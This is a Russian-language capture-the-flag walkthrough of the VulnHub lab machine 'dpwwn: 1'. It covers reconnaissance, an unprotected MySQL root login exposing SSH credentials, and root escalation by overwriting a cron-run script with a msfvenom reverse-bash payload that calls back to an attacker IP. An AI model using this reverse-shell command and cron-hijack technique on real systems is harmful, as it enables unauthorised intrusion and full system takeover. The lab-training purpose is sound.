CTF, VulnHub

Прохождение машины dpwwn: 1 VulnHub.

Здравствуйте, дорогие друзья.

Сегодня я собираюсь пройти CTF-челлендж «dpwwn:1» с сервиса VulnHub. Заслуга в создании этой виртуальной машины принадлежит «Debashish Pal», и это задача boot2root, в которой мы должны получить root права на машину и захватить флаг, чтобы выполнить задачу. Вы можете скачать эту виртуальную машину, перейдя по ссылке: https://www.vulnhub.com/entry/dpwwn-1,342/.

Уровень безопасности: Новичок

Начнем с выявления IP-адреса атакуемой машины. Это делается, с помощью утилиты «Netdiscover»:

Команда в терминале: netdiscover

netdiscover

IP-адрес нашего хоста — это 10.0.2.4.

Далее, как обычно, я использовал инструмент Nmap для перечисления портов. Я обнаружил, что открыты порты 22, 80 и 3306.

Команда: sudo nmap -A 10.0.2.4

sudo nmap -A 10.0.2.4

Как мы видим, служба mysql работает на порте (3306), и я попытал удачу, чтобы получить доступ к серверу mysql с пользователем root и пустым паролем, и, к моему удивлению, я смог войти в систему. Как только я вошел в систему, я получил имена баз данных, и там увидел базу данных ssh.

Я проверил ее таблицы и нашел учетные данные одного пользователя mistic:testP@$$swordmistic

Команды, которые я использовал:

mysql –h 10.0.2.4 –u root –p
show databases;
use ssh;
show tables;
select * from users;

mysql –h 10.0.2.4 –u root –p

Эксплуатация:

Далее, я смог подключиться к целевой системе по ssh, используя найденные учетные данные (смотрите скриншот выше).

После входа в систему я обнаружил файл с именем logrot.sh. Я заглянул внутрь файла, и это bash-скрипт, который собирает логи. А в crontab этот же файл запланирован на выполнение с root-правами.

Команды, которые я использовал:

ssh mistic@10.0.2.4
ls –la
cat logrot.sh
cat /etc/crontab

ssh mistic@192.168.1.101

Обратите внимание на вывод скрипта «logrot.sh». Это уже сгенерированная полезная нагрузка, с помощью msfvenom. У Вас же будет выводиться небольшой bash-скрипт.

Итак, что я сделал далее. Создал обратную полезную нагрузку netcat, используя msfvenom с IP-адресом слушателя в качестве нашей машины на kali и указал порт 1234.

Команда: sudo msfvenom –p cmd/unix/reverse_bash lhost=10.0.2.15 lport=1234 R

sudo msfvenom –p cmd/unix/reverse_bash lhost=10.0.2.15 lport=1234 R

Затем я скопировал ту же полезную нагрузку в двоичный файл logrot.sh, с помощью команды echo.

Команда: echo „0<&87-;exec 87<>/dev/tcp/10.0.2.15/1234;sh <&87 >&87 2>&87“ > logrot.sh

echo „0<&87-;exec 87<>/dev/tcp/10.0.2.15/1234;sh <&87 >&87 2>&87“ > logrot.sh

Повышение привилегий:

Поскольку logrot.sh запланирован в crontab с привилегиями root, я одновременно запустил прослушиватель netcat на моей машине kali и дождался обратного шелла. И через некоторое время я получил root shell и в итоге флаг root.

nc –lvp 1234
cd /root
ls
cat dpwwn-01—FLAG.txt

повышение привилегий
повышение привилегий

На этом все. Всем хорошего дня!